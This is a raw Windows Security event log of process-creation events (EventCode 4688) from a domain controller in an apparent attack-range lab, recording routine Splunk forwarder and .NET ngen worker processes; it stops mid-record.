Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf04
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:06:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254737
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1020
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:06:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254739
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12c4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:06:15 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254741
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe94
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2b8 -InterruptEvent 0 -NGENProcess 2a4 -Pipe 2b4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:06:15 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254740
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x940
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2e4 -InterruptEvent 0 -NGENProcess 2bc -Pipe 2e8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:06:16 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254743
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb1c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2b8 -InterruptEvent 0 -NGENProcess 2d8 -Pipe 2b0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:06:16 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254742
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1008
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 280 -InterruptEvent 0 -NGENProcess 1d8 -Pipe 250 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:06:17 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254744
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xfe8
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 298 -InterruptEvent 0 -NGENProcess 27c -Pipe 288 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:06:21 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254745
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x904
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 290 -InterruptEvent 0 -NGENProcess 2e0 -Pipe 2a8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:06:22 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254746
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x133c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 294 -InterruptEvent 0 -NGENProcess 2c8 -Pipe 1d8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:06:28 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254748
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1380
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2e4 -InterruptEvent 0 -NGENProcess 29c -Pipe 2d8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:06:28 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254747
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10d0
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2a4 -InterruptEvent 0 -NGENProcess 2c4 -Pipe 264 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:06:29 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254752
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xac8
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 27c -InterruptEvent 0 -NGENProcess 2c0 -Pipe 280 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:06:29 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254751
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd88
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2a0 -InterruptEvent 0 -NGENProcess 2c8 -Pipe 29c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:06:29 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254750
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x920
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2b8 -InterruptEvent 0 -NGENProcess 2cc -Pipe 290 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:06:29 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254749
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1398
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2c8 -InterruptEvent 0 -NGENProcess 2bc -Pipe 2d4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:06:30 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254756
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1010
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2ec -InterruptEvent 0 -NGENProcess 2e0 -Pipe 2f4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:06:30 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254755
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10bc
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2f8 -InterruptEvent 0 -NGENProcess 294 -Pipe 2dc -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:06:30 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254754
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11a8
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
